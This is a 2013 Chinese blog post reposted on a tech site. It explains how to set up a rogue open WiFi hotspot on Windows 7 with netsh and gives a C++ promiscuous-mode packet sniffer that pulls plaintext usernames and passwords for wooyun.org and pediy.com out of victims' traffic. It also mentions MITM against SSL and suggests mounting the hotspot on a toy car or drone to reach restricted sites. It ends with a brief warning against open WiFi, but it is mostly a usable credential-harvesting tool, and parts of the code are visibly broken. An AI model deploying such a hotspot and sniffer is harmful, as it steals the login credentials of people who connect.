知识屋:更实用的电脑技术知识网站
所在位置:首页 > 操作系统 > Win—XP

Windows下的无线热点蜜罐

发布时间:2013-10-08 18:59:53作者:知识屋

/**************************************

/* 作者:半斤八兩
/* 博客:http://cnblogs.com/bjblcracked
/* 日期:2013-09-30 23:59
/**************************************


只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!

 

 

在许多公共场所我们都会看到有许多免密码的无线热点.我们大多数的人发现有免密热点,都会很高兴的感慨, “运气真好,居然有不要密码的无线热点.” 可是否有人知道自己连上的是一个正在监视自己的眼睛?

 

WIFI即Hotspot也称无线热点,是指在公共场所提供无线局域网(WLAN)接入Internet服务的地点。这类地点多数是咖啡馆、机场、车站、商务酒店、高等院校、大型展览会馆等。这些热点有的是收费的提供无线宽带接入服务,有的则是免费的。在无线热点覆盖的地区,用户可以通过使用装有内置或外置无线网卡的笔记本电脑和PDA,来实现对Internet的接入。

 

试验平台:winn7 x86 台式机

工具: 无线网卡(USB)接收器

首先们来说一下怎样搭建wifi 蜜罐.

Win7下有一个命令可以创建个wifi.

netsh wlan set hostednetwork ssid=pass:123456789 key=123456789

 

 

Ssid 就是上图中显示的东西.

防止别人不知道密码,我们就改成 pass:123456789

Key 我们就直接弄成 123456789

这里要注意, ssid 尽量不要弄中文的.经本人测试,发现iphone不支持中文ssid.

 

然后我们用命令启动它.

netsh wlan start hostednetwork

 

这一些前提是我们要先插上wifi 接收器.

 

否则我们创建虚拟wifi 是不会成功的.

现在创建好了,我们写个抓包小程序,就可以等着chicken上勾就行了.

抓包我们要用混杂模式. 混杂模式可以抓到当前电脑所有网卡数据包.

 

复制代码
 1 #include <stdio.h>  2 #include <winsock2.h>  3 #include "DataStruct.h"  4 #include "InitSocket.h"  5 #include <iostream>  6 #include "mstcpip.h"  7 using namespace std;  8 CInitSocket initSock;  9  10 int nRet = 0;  11 void IsWifiHoneypots(PCHAR pBuff)  12 {  13 PIPHEADER pIphdr = (PIPHEADER)pBuff;  14  15 pBuff += (pIphdr->ipVersion & 0xf) * sizeof(ULONG);  16  17 PTCPHEADER pTcpHdr = (PTCPHEADER)pBuff;  18  19 memset(szText, ' ', nRet);  20  21 int dataLen = nRet - sizeof(IPHEADER) - sizeof(TCPHEADER);  22  23 memcpy(szText, &pBuff[sizeof(TCPHEADER)], dataLen);  24  25 int i = 0;  26 char szEmail[MAXBYTE] = {0};  27 PCHAR pEmail = szEmail;  28  29  30 if(strstr(szText, "wooyun.org"))  31 if(strstr(szText, "email"))  32  {  33 puts("--------------------------------------------");  34 cout<<"found Wooyun.org password:" << endl;  35  36 pEmail = strstr(szText, "email");  37  38 for(i = 0; (pEmail[i] != '&'); i++);  39  40 pEmail[i] = '';  41  42  puts(pEmail);  43  44 pEmail += i + 1;  45  46 if(strstr(pEmail, "password"))  47  {  48 pEmail = strstr(pEmail, "password");  49  50 for(i = 0; (pEmail[i] != '&'); i++);  51  52 pEmail[i] = '';  53  54  puts(pEmail);  55  }  56  57 puts("--------------------------------------------");  58  }  59  60  61 if(strstr(szText, "pediy.com"))  62 if(strstr(szText, "username"))  63  {  64 puts("--------------------------------------------");  65 cout<<"found pediy.com password:" << endl;  66  67 pEmail = strstr(szText, "username");  68  69 for(i = 0; (pEmail[i] != '&'); i++);  70  71 pEmail[i] = '';  72  73  puts(pEmail);  74  75 pEmail += i + 1;  76  77 if(strstr(pEmail, "md5password_utf="))  78  {  79 pEmail = strstr(pEmail, "md5password_utf=");  80  81 for(i = 0; (pEmail[i] != 0x20); i++);  82  83 pEmail[i] = '';  84  85  puts(pEmail);  86  }  87  88 puts("--------------------------------------------");  89  }  90 }  91  92 int main(void)  93 {  94 system("chcp 936 & cls & title windows wifi 蜜罐 by 半斤八兩 & color 0a");  95  96 SOCKET sRaw = socket(AF_INET, SOCK_RAW, IPPROTO_IP);  97  98 char szHostName[56];  99 100  SOCKADDR_IN localAddr; 101 102 struct hostent *pHost; 103 gethostname(szHostName, 56); 104 if ((pHost = gethostbyname((char*)szHostName)) == NULL) 105  { 106 return 0; 107  } 108 localAddr.sin_family = AF_INET; 109 localAddr.sin_port  = htons(0); 110 memcpy(&localAddr.sin_addr.S_un.S_addr, pHost->h_addr_list[1], pHost->h_length); 111 112 if (bind(sRaw, (PSOCKADDR)&localAddr, sizeof(localAddr)) == SOCKET_ERROR) 113  { 114 return 0; 115  } 116 117 DWORD dwValue = 1; 118 119 if (ioctlsocket(sRaw, SIO_RCVALL, &dwValue) != 0) 120  { 121 return 0; 122  } 123 124 cout << "<<Listen in Wooyun.org and pediy.com>>" << endl << endl; 125 126 char buff[1024]; 127 while(true) 128  { 129 nRet = recv(sRaw, buff, 1024, 0); 130 if (nRet > 0) 131  { 132 buff[nRet] = ''; 133  IsWifiHoneypots(buff); 134  } 135  } 136  closesocket(sRaw); 137 return 0; 138 }
复制代码

 

为了敢在国庆前之前,代码写的有点乱.大家将就的看吧.(应该还有不少BUG.但是wooyun 和 看雪的,应该都能抓到了.)

Wooyun的post直接是明文的密码, 看雪的还是做了md5 处理.

如果遇到了ssl的可以用mitm 处理. (这里就不说了,网上有很多资料.)

通过文篇文章大家应该注意 不要随意上没有密码的 wifi..

我们设想一下,如果是一个不让进的,或者什么高级产所,我们的wifi信号不够广, 我们可以用一个小车子,将wifi热点放上去. 开启明显的ssid. 杀进去.

如果是高楼大厦,那我们可以将wifi热点 装进小飞机,杀进去.~

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜